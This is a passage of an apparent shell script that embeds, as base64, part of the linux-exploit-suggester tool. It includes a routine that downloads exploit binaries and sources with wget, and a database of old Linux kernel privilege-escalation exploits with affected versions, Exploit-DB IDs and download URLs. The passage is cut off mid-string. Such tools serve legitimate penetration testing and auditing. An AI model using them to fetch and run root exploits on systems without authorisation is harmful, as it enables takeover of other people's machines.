CJSZXFzOiAiIHwgY3V0IC1kJyAnIC1mIDIpCgoJIyBleHBsb2l0IG5hbWUgd2l0aG91dCBDVkUgbnVtYmVyIGFuZCB3aXRob3V0IGNvbW1vbmx5IHVzZWQgc3BlY2lhbCBjaGFycwoJbmFtZT0kKGVjaG8gIiROQU1FIiB8IGN1dCAtZCcgJyAtZiAyLSB8IHRyIC1kICcgKCkvJykKCgliaW5fdXJsPSQoZWNobyAiJEVYUCIgfCBncmVwICJiaW4tdXJsOiAiIHwgYXdrICd7cHJpbnQgJDJ9JykKCXNyY191cmw9JChlY2hvICIkRVhQIiB8IGdyZXAgInNyYy11cmw6ICIgfCBhd2sgJ3twcmludCAkMn0nKQoJWyAteiAiJHNyY191cmwiIF0gJiYgWyAtbiAiJEVYUExPSVRfREIiIF0gJiYgc3JjX3VybD0iaHR0cHM6Ly93d3cuZXhwbG9pdC1kYi5jb20vZG93bmxvYWQvJEVYUExPSVRfREIiCglbIC16ICIkc3JjX3VybCIgXSAmJiBbIC16ICIkYmluX3VybCIgXSAmJiBleGl0V2l0aEVyck1zZyAiJ3NyYy11cmwnIC8gJ2Jpbi11cmwnIC8gJ2V4cGxvaXQtZGInIGVudHJpZXMgYXJlIGFsbCBlbXB0eSBmb3IgJyROQU1FJyBleHBsb2l0IC0gZml4IHRoYXQuIEFib3J0aW5nLiIKCglpZiBbIC1uICIkYW5hbHlzaXNfdXJsIiBdOyB0aGVuCiAgICAgICAgZGV0YWlscz0iJGFuYWx5c2lzX3VybCIKCWVsaWYgJChlY2hvICIkc3JjX3VybCIgfCBncmVwIC1xICd3d3cuZXhwbG9pdC1kYi5jb20nKTsgdGhlbgogICAgICAgIGRldGFpbHM9Imh0dHBzOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLyRFWFBMT0lUX0RCLyIKCWVsaWYgW1sgIiRzcmNfdXJsIiA9fiBeLip0Z3p8dGFyLmd6fHppcCQgJiYgLW4gIiRFWFBMT0lUX0RCIiBdXTsgdGhlbgogICAgICAgIGRldGFpbHM9Imh0dHBzOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLyRFWFBMT0lUX0RCLyIKCWVsc2UKICAgICAgICBkZXRhaWxzPSIkc3JjX3VybCIKCWZpCgoJIyBza2lwIERvUyBieSBkZWZhdWx0Cglkb3M9JChlY2hvICIkRVhQIiB8IGdyZXAgLW8gLWkgIihkb3MiKQoJWyAiJG9wdF9zaG93X2RvcyIgPT0gImZhbHNlIiBdICYmIFsgLW4gIiRkb3MiIF0gJiYgY29udGludWUKCgkjIGhhbmRsZXMgLS1mZXRjaC1iaW5hcmllcyBvcHRpb24KCWlmIFsgJG9wdF9mZXRjaF9iaW5zID0gInRydWUiIF07IHRoZW4KICAgICAgICBmb3IgaSBpbiAkKGVjaG8gIiRFWFAiIHwgZ3JlcCAiYmluLXVybDogIiB8IGF3ayAne3ByaW50ICQyfScpOyBkbwogICAgICAgICAgICBbIC1mICIke25hbWV9XyQoYmFzZW5hbWUgJGkpIiBdICYmIHJtIC1mICIke25hbWV9XyQoYmFzZW5hbWUgJGkpIgogICAgICAgICAgICB3Z2V0IC1xIC1rICIkaSIgLU8gIiR7bmFtZX1fJChiYXNlbmFtZSAkaSkiCiAgICAgICAgZG9uZQogICAgZmkKCgkjIGhhbmRsZXMgLS1mZXRjaC1zb3VyY2VzIG9wdGlvbgoJaWYgWyAkb3B0X2ZldGNoX3NyY3MgPSAidHJ1ZSIgXTsgdGhlbgogICAgICAgIFsgLWYgIiR7bmFtZX1fJChiYXNlbmFtZSAkc3JjX3VybCkiIF0gJiYgcm0gLWYgIiR7bmFtZX1fJChiYXNlbmFtZSAkc3JjX3VybCkiCiAgICAgICAgd2dldCAtcSAtayAiJHNyY191cmwiIC1PICIke25hbWV9XyQoYmFzZW5hbWUgJHNyY191cmwpIiAmCiAgICBmaQoKICAgICMgZGlzcGxheSByZXN1bHQgKHNob3J0KQoJaWYgWyAiJG9wdF9zdW1tYXJ5IiA9ICJ0cnVlIiBdOyB0aGVuCglbIC16ICIkdGFncyIgXSAmJiB0YWdzPSItIgoJZWNobyAtZSAiJE5BTUUgfHwgJHRhZ3MgfHwgJHNyY191cmwiCgljb250aW51ZQoJZmkKCiMgZGlzcGxheSByZXN1bHQgKHN0YW5kYXJkKQoJZWNobyAtZSAiWytdICROQU1FIgoJZWNobyAtZSAiXG4gICBEZXRhaWxzOiAkZGV0YWlscyIKICAgICAgICBlY2hvIC1lICIgICBFeHBvc3VyZTogJChkaXNwbGF5RXhwb3N1cmUgJFJBTkspIgogICAgICAgIFsgLW4gIiR0YWdzIiBdICYmIGVjaG8gLWUgIiAgIFRhZ3M6ICR0YWdzIgogICAgICAgIGVjaG8gLWUgIiAgIERvd25sb2FkIFVSTDogJHNyY191cmwiCiAgICAgICAgWyAtbiAiJGV4dF91cmwiIF0gJiYgZWNobyAtZSAiICAgZXh0LXVybDogJGV4dF91cmwiCiAgICAgICAgWyAtbiAiJGNvbW1lbnRzIiBdICYmIGVjaG8gLWUgIiAgIENvbW1lbnRzOiAkY29tbWVudHMiCgogICAgICAgICMgaGFuZGxlcyAtLWZ1bGwgZmlsdGVyIG9wdGlvbgogICAgICAgIGlmIFsgIiRvcHRfZnVsbCIgPSAidHJ1ZSIgXTsgdGhlbgogICAgICAgICAgICBbIC1uICIkcmVxcyIgXSAmJiBlY2hvIC1lICIgICBSZXF1aXJlbWVudHM6ICRyZXFzIgoKICAgICAgICAgICAgWyAtbiAiJEVYUExPSVRfREIiIF0gJiYgZWNobyAtZSAiICAgZXhwbG9pdC1kYjogJEVYUExPSVRfREIiCgogICAgICAgICAgICBhdXRob3I9JChlY2hvICIkRVhQIiB8IGdyZXAgImF1dGhvcjogIiB8IGN1dCAtZCcgJyAtZiAyLSkKICAgICAgICAgICAgWyAtbiAiJGF1dGhvciIgXSAmJiBlY2hvIC1lICIgICBhdXRob3I6ICRhdXRob3IiCiAgICAgICAgZmkKCiAgICAgICAgZWNobwoKZG9uZQo=" + les_b64="IyEvYmluL2Jhc2gKCiMKIyBDb3B5cmlnaHQgKGMpIDIwMTYtMjAyMywgaHR0cHM6Ly9naXRodWIuY29tL216ZXQtCiMKIyBsaW51eC1leHBsb2l0LXN1Z2dlc3Rlci5zaCBjb21lcyB3aXRoIEFCU09MVVRFTFkgTk8gV0FSUkFOVFkuCiMgVGhpcyBpcyBmcmVlIHNvZnR3YXJlLCBhbmQgeW91IGFyZSB3ZWxjb21lIHRvIHJlZGlzdHJpYnV0ZSBpdAojIHVuZGVyIHRoZSB0ZXJtcyBvZiB0aGUgR05VIEdlbmVyYWwgUHVibGljIExpY2Vuc2UuIFNlZSBMSUNFTlNFCiMgZmlsZSBmb3IgdXNhZ2Ugb2YgdGhpcyBzb2Z0d2FyZS4KIwoKVkVSU0lPTj12MS4xCgojIGJhc2ggY29sb3JzCiN0eHRyZWQ9IlxlWzA7MzFtIgp0eHRyZWQ9IlxlWzkxOzFtIgp0eHRncm49IlxlWzE7MzJtIgp0eHRncmF5PSJcZVswOzM3bSIKdHh0Ymx1PSJcZVswOzM2bSIKdHh0cnN0PSJcZVswbSIKYmxkd2h0PSdcZVsxOzM3bScKd2h0PSdcZVswOzM2bScKYmxkYmx1PSdcZVsxOzM0bScKeWVsbG93PSdcZVsxOzkzbScKbGlnaHR5ZWxsb3c9J1xlWzA7OTNtJwoKIyBpbnB1dCBkYXRhClVOQU1FX0E9IiIKCiMgcGFyc2VkIGRhdGEgZm9yIGN1cnJlbnQgT1MKS0VSTkVMPSIiCk9TPSIiCkRJU1RSTz0iIgpBUkNIPSIiClBLR19MSVNUPSIiCgojIGtlcm5lbCBjb25maWcKS0NPTkZJRz0iIgoKQ1ZFTElTVF9GSUxFPSIiCgpvcHRfZmV0Y2hfYmlucz1mYWxzZQpvcHRfZmV0Y2hfc3Jjcz1mYWxzZQpvcHRfa2VybmVsX3ZlcnNpb249ZmFsc2UKb3B0X3VuYW1lX3N0cmluZz1mYWxzZQpvcHRfcGtnbGlzdF9maWxlPWZhbHNlCm9wdF9jdmVsaXN0X2ZpbGU9ZmFsc2UKb3B0X2NoZWNrc2VjX21vZGU9ZmFsc2UKb3B0X2Z1bGw9ZmFsc2UKb3B0X3N1bW1hcnk9ZmFsc2UKb3B0X2tlcm5lbF9vbmx5PWZhbHNlCm9wdF91c2Vyc3BhY2Vfb25seT1mYWxzZQpvcHRfc2hvd19kb3M9ZmFsc2UKb3B0X3NraXBfbW9yZV9jaGVja3M9ZmFsc2UKb3B0X3NraXBfcGtnX3ZlcnNpb25zPWZhbHNlCgpBUkdTPQpTSE9SVE9QVFM9ImhWZmJzdTprOmRwOmciCkxPTkdPUFRTPSJoZWxwLHZlcnNpb24sZnVsbCxmZXRjaC1iaW5hcmllcyxmZXRjaC1zb3VyY2VzLHVuYW1lOixrZXJuZWw6LHNob3ctZG9zLHBrZ2xpc3QtZmlsZTosc2hvcnQsa2VybmVsc3BhY2Utb25seSx1c2Vyc3BhY2Utb25seSxza2lwLW1vcmUtY2hlY2tzLHNraXAtcGtnLXZlcnNpb25zLGN2ZWxpc3QtZmlsZTosY2hlY2tzZWMiCgojIyBleHBsb2l0cyBkYXRhYmFzZQpkZWNsYXJlIC1hIEVYUExPSVRTCmRlY2xhcmUgLWEgRVhQTE9JVFNfVVNFUlNQQUNFCgojIyB0ZW1wb3JhcnkgYXJyYXkgZm9yIHB1cnBvc2Ugb2Ygc29ydGluZyBleHBsb2l0cyAoYmFzZWQgb24gZXhwbG9pdHMnIHJhbmspCmRlY2xhcmUgLWEgZXhwbG9pdHNfdG9fc29ydApkZWNsYXJlIC1hIFNPUlRFRF9FWFBMT0lUUwoKIyMjIyMjIyMjIyMjIExJTlVYIEtFUk5FTFNQQUNFIEVYUExPSVRTICMjIyMjIyMjIyMjIyMjIyMjIyMjCm49MAoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA0LTEyMzVdJHt0eHRyc3R9IGVsZmxibApSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj0yLjQuMjkKVGFnczoKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly9pc2VjLnBsL3Z1bG5lcmFiaWxpdGllcy9pc2VjLTAwMjEtdXNlbGliLnR4dApiaW4tdXJsOiBodHRwczovL3dlYi5hcmNoaXZlLm9yZy93ZWIvMjAxMTExMDMwNDI5MDQvaHR0cDovL3RhcmFudHVsYS5ieS5ydS9sb2NhbHJvb3QvMi42LngvZWxmbGJsCmV4cGxvaXQtZGI6IDc0NApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA0LTEyMzVdJHt0eHRyc3R9IHVzZWxpYigpClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPTIuNC4yOQpUYWdzOgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL2lzZWMucGwvdnVsbmVyYWJpbGl0aWVzL2lzZWMtMDAyMS11c2VsaWIudHh0CmV4cGxvaXQtZGI6IDc3OApDb21tZW50czogS25vd24gdG8gd29yayBvbmx5IGZvciAyLjQgc2VyaWVzIChldmVuIHRob3VnaCAyLjYgaXMgYWxzbyB2dWxuZXJhYmxlKQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA0LTEyMzVdJHt0eHRyc3R9IGtyYWQzClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuNSx2ZXI8PTIuNi4xMQpUYWdzOgpSYW5rOiAxCmV4cGxvaXQtZGI6IDEzOTcKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwNC0wMDc3XSR7dHh0cnN0fSBtcmVtYXBfcHRlClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMCx2ZXI8PTIuNi4yClRhZ3M6ClJhbms6IDEKZXhwbG9pdC1kYjogMTYwCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDYtMjQ1MV0ke3R4dHJzdH0gcmFwdG9yX3ByY3RsClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMTMsdmVyPD0yLjYuMTcKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiAyMDMxCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDYtMjQ1MV0ke3R4dHJzdH0gcHJjdGwKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4xMyx2ZXI8PTIuNi4xNwpUYWdzOgpSYW5rOiAxCmV4cGxvaXQtZGI6IDIwMDQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwNi0yNDUxXSR7dHh0cnN0fSBwcmN0bDIKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4xMyx2ZXI8PTIuNi4xNwpUYWdzOgpSYW5rOiAxCmV4cGxvaXQtZGI6IDIwMDUKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwNi0yNDUxXSR7dHh0cnN0fSBwcmN0bDMKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4xMyx2ZXI8PTIuNi4xNwpUYWdzOgpSYW5rOiAxCmV4cGxvaXQtZGI6IDIwMDYKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwNi0yNDUxXSR7dHh0cnN0fSBwcmN0bDQKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4xMyx2ZXI8PTIuNi4xNwpUYWdzOgpSYW5rOiAxCmV4cGxvaXQtZGI6IDIwMTEKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwNi0zNjI2XSR7dHh0cnN0fSBoMDBseXNoaXQKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi44LHZlcjw9Mi42LjE2ClRhZ3M6ClJhbms6IDEKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTExMTAzMDQyOTA0L2h0dHA6Ly90YXJhbnR1bGEuYnkucnUvbG9jYWxyb290LzIuNi54L2gwMGx5c2hpdApleHBsb2l0LWRiOiAyMDEzCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDgtMDYwMF0ke3R4dHJzdH0gdm1zcGxpY2UxClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMTcsdmVyPD0yLjYuMjQKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiA1MDkyCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDgtMDYwMF0ke3R4dHJzdH0gdm1zcGxpY2UyClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMjMsdmVyPD0yLjYuMjQKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiA1MDkzCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDgtNDIxMF0ke3R4dHJzdH0gZnRyZXgKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4xMSx2ZXI8PTIuNi4yMgpUYWdzOgpSYW5rOiAxCmV4cGxvaXQtZGI6IDY4NTEKQ29tbWVudHM6IHdvcmxkLXdyaXRhYmxlIHNnaWQgZGlyZWN0b3J5IGFuZCBzaGVsbCB0aGF0IGRvZXMgbm90IGRyb3Agc2dpZCBwcml2cyB1cG9uIGV4ZWMgKGFzaC9zYXNoKSBhcmUgcmVxdWlyZWQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwOC00MjEwXSR7dHh0cnN0fSBleGl0X25vdGlmeQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjI1LHZlcjw9Mi42LjI5ClRhZ3M6ClJhbms6IDEKZXhwbG9pdC1kYjogODM2OQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA5LTI2OTJdJHt0eHRyc3R9IHNvY2tfc2VuZHBhZ2UgKHNpbXBsZSB2ZXJzaW9uKQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjAsdmVyPD0yLjYuMzAKVGFnczogdWJ1bnR1PTcuMTAsUkhFTD00LGZlZG9yYT00fDV8Nnw3fDh8OXwxMHwxMQpSYW5rOiAxCmV4cGxvaXQtZGI6IDk0NzkKQ29tbWVudHM6IFdvcmtzIGZvciBzeXN0ZW1zIHdpdGggL3Byb2Mvc3lzL3ZtL21tYXBfbWluX2FkZHIgZXF1YWwgdG8gMApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA5LTI2OTIsQ1ZFLTIwMDktMTg5NV0ke3R4dHJzdH0gc29ja19zZW5kcGFnZQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjAsdmVyPD0yLjYuMzAKVGFnczogdWJ1bnR1PTkuMDQKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8veG9ybC53b3JkcHJlc3MuY29tLzIwMDkvMDcvMTYvY3ZlLTIwMDktMTg5NS1saW51eC1rZXJuZWwtcGVyX2NsZWFyX29uX3NldGlkLXBlcnNvbmFsaXR5LWJ5cGFzcy8Kc3JjLXVybDogaHR0cHM6Ly9naXRodWIuY29tL29mZmVuc2l2ZS1zZWN1cml0eS9leHBsb2l0LWRhdGFiYXNlLWJpbi1zcGxvaXRzL3Jhdy9tYXN0ZXIvYmluLXNwbG9pdHMvOTQzNS50Z3oKZXhwbG9pdC1kYjogOTQzNQpDb21tZW50czogL3Byb2Mvc3lzL3ZtL21tYXBfbWluX2FkZHIgbmVlZHMgdG8gZXF1YWwgMCBPUiBwdWxzZWF1ZGlvIG5lZWRzIHRvIGJlIGluc3RhbGxlZApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA5LTI2OTIsQ1ZFLTIwMDktMTg5NV0ke3R4dHJzdH0gc29ja19zZW5kcGFnZTIKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4wLHZlcjw9Mi42LjMwClRhZ3M6IApSYW5rOiAxCnNyYy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9vZmZlbnNpdmUtc2VjdXJpdHkvZXhwbG9pdC1kYXRhYmFzZS1iaW4tc3Bsb2l0cy9yYXcvbWFzdGVyL2Jpbi1zcGxvaXRzLzk0MzYudGd6CmV4cGxvaXQtZGI6IDk0MzYKQ29tbWVudHM6IFdvcmtzIGZvciBzeXN0ZW1zIHdpdGggL3Byb2Mvc3lzL3ZtL21tYXBfbWluX2FkZHIgZXF1YWwgdG8gMApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA5LTI2OTIsQ1ZFLTIwMDktMTg5NV0ke3R4dHJzdH0gc29ja19zZW5kcGFnZTMKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4wLHZlcjw9Mi42LjMwClRhZ3M6IApSYW5rOiAxCnNyYy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9vZmZlbnNpdmUtc2VjdXJpdHkvZXhwbG9pdC1kYXRhYmFzZS1iaW4tc3Bsb2l0cy9yYXcvbWFzdGVyL2Jpbi1zcGxvaXRzLzk2NDEudGFyLmd6CmV4cGxvaXQtZGI6IDk2NDEKQ29tbWVudHM6IC9wcm9jL3N5cy92bS9tbWFwX21pbl9hZGRyIG5lZWRzIHRvIGVxdWFsIDAgT1IgcHVsc2VhdWRpbyBuZWVkcyB0byBiZSBpbnN0YWxsZWQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwOS0yNjkyLENWRS0yMDA5LTE4OTVdJHt0eHRyc3R9IHNvY2tfc2VuZHBhZ2UgKHBwYykKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4wLHZlcjw9Mi42LjMwClRhZ3M6IHVidW50dT04LjEwLFJIRUw9NHw1ClJhbms6IDEKZXhwbG9pdC1kYjogOTU0NQpDb21tZW50czogL3Byb2Mvc3lzL3ZtL21tYXBfbWluX2FkZHIgbmVlZHMgdG8gZXF1YWwgMApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA5LTI2OThdJHt0eHRyc3R9IHRoZSByZWJlbCAodWRwX3NlbmRtc2cpClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMSx2ZXI8PTIuNi4xOQpUYWdzOiBkZWJpYW49NApSYW5rOiAxCnNyYy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9vZmZlbnNpdmUtc2VjdXJpdHkvZXhwbG9pdC1kYXRhYmFzZS1iaW4tc3Bsb2l0cy9yYXcvbWFzdGVyL2Jpbi1zcGxvaXRzLzk1NzQudGd6CmV4cGxvaXQtZGI6IDk1NzQKYW5hbHlzaXMtdXJsOiBodHRwczovL2Jsb2cuY3IwLm9yZy8yMDA5LzA4L2N2ZS0yMDA5LTI2OTgtdWRwc2VuZG1zZy12dWxuZXJhYmlsaXR5Lmh0bWwKYXV0aG9yOiBzcGVuZGVyCkNvbW1lbnRzOiAvcHJvYy9zeXMvdm0vbW1hcF9taW5fYWRkciBuZWVkcyB0byBlcXVhbCAwIE9SIHB1bHNlYXVkaW8gbmVlZHMgdG8gYmUgaW5zdGFsbGVkCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDktMjY5OF0ke3R4dHJzdH0gaG9hZ2llX3VkcF9zZW5kbXNnClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMSx2ZXI8PTIuNi4xOSx4ODYKVGFnczogZGViaWFuPTQKUmFuazogMQpleHBsb2l0LWRiOiA5NTc1CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9ibG9nLmNyMC5vcmcvMjAwOS8wOC9jdmUtMjAwOS0yNjk4LXVkcHNlbmRtc2ctdnVsbmVyYWJpbGl0eS5odG1sCmF1dGhvcjogYW5kaQpDb21tZW50czogV29ya3MgZm9yIHN5c3RlbXMgd2l0aCAvcHJvYy9zeXMvdm0vbW1hcF9taW5fYWRkciBlcXVhbCB0byAwCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDktMjY5OF0ke3R4dHJzdH0ga2F0b24gKHVkcF9zZW5kbXNnKQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjEsdmVyPD0yLjYuMTkseDg2ClRhZ3M6IGRlYmlhbj00ClJhbms6IDEKc3JjLXVybDogaHR0cHM6Ly9naXRodWIuY29tL0thYm90L1VuaXgtUHJpdmlsZWdlLUVzY2FsYXRpb24tRXhwbG9pdHMtUGFjay9yYXcvbWFzdGVyLzIwMDkvQ1ZFLTIwMDktMjY5OC9rYXRvbi5jCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9ibG9nLmNyMC5vcmcvMjAwOS8wOC9jdmUtMjAwOS0yNjk4LXVkcHNlbmRtc2ctdnVsbmVyYWJpbGl0eS5odG1sCmF1dGhvcjogVnhIZWxsIExhYnMKQ29tbWVudHM6IFdvcmtzIGZvciBzeXN0ZW1zIHdpdGggL3Byb2Mvc3lzL3ZtL21tYXBfbWluX2FkZHIgZXF1YWwgdG8gMApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA5LTI2OThdJHt0eHRyc3R9IGlwX2FwcGVuZF9kYXRhClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMSx2ZXI8PTIuNi4xOSx4ODYKVGFnczogZmVkb3JhPTR8NXw2LFJIRUw9NApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9ibG9nLmNyMC5vcmcvMjAwOS8wOC9jdmUtMjAwOS0yNjk4LXVkcHNlbmRtc2ctdnVsbmVyYWJpbGl0eS5odG1sCmV4cGxvaXQtZGI6IDk1NDIKYXV0aG9yOiBwMGM3M24xCkNvbW1lbnRzOiBXb3JrcyBmb3Igc3lzdGVtcyB3aXRoIC9wcm9jL3N5cy92bS9tbWFwX21pbl9hZGRyIGVxdWFsIHRvIDAKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwOS0zNTQ3XSR7dHh0cnN0fSBwaXBlLmMgMQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjAsdmVyPD0yLjYuMzEKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiAzMzMyMQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA5LTM1NDddJHt0eHRyc3R9IHBpcGUuYyAyClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMCx2ZXI8PTIuNi4zMQpUYWdzOgpSYW5rOiAxCmV4cGxvaXQtZGI6IDMzMzIyCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDktMzU0N10ke3R4dHJzdH0gcGlwZS5jIDMKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4wLHZlcjw9Mi42LjMxClRhZ3M6ClJhbms6IDEKZXhwbG9pdC1kYjogMTAwMTgKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMC0zMzAxXSR7dHh0cnN0fSBwdHJhY2Vfa21vZDIKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4yNix2ZXI8PTIuNi4zNApUYWdzOiBkZWJpYW49Ni4we2tlcm5lbDoyLjYuKDMyfDMzfDM0fDM1KS0oMXwyfHRydW5rKS1hbWQ2NH0sdWJ1bnR1PSgxMC4wNHwxMC4xMCl7a2VybmVsOjIuNi4oMzJ8MzUpLSgxOXwyMXwyNCktc2VydmVyfQpSYW5rOiAxCmJpbi11cmw6IGh0dHBzOi8vd2ViLmFyY2hpdmUub3JnL3dlYi8yMDExMTEwMzA0MjkwNC9odHRwOi8vdGFyYW50dWxhLmJ5LnJ1L2xvY2Fscm9vdC8yLjYueC9rbW9kMgpiaW4tdXJsOiBodHRwczovL3dlYi5hcmNoaXZlLm9yZy93ZWIvMjAxMTExMDMwNDI5MDQvaHR0cDovL3RhcmFudHVsYS5ieS5ydS9sb2NhbHJvb3QvMi42LngvcHRyYWNlLWttb2QKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjQxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvcHRyYWNlX2ttb2QyLTY0CmV4cGxvaXQtZGI6IDE1MDIzCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTAtMTE0Nl0ke3R4dHJzdH0gcmVpc2VyZnMKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4xOCx2ZXI8PTIuNi4zNApUYWdzOiB1YnVudHU9OS4xMApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9qb24ub2JlcmhlaWRlLm9yZy9ibG9nLzIwMTAvMDQvMTAvcmVpc2VyZnMtcmVpc2VyZnNfcHJpdi12dWxuZXJhYmlsaXR5LwpzcmMtdXJsOiBodHRwczovL2pvbi5vYmVyaGVpZGUub3JnL2ZpbGVzL3RlYW0tZWR3YXJkLnB5CmV4cGxvaXQtZGI6IDEyMTMwCmNvbW1lbnRzOiBSZXF1aXJlcyBhIFJlaXNlckZTIGZpbGVzeXN0ZW0gbW91bnRlZCB3aXRoIGV4dGVuZGVkIGF0dHJpYnV0ZXMKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMC0yOTU5XSR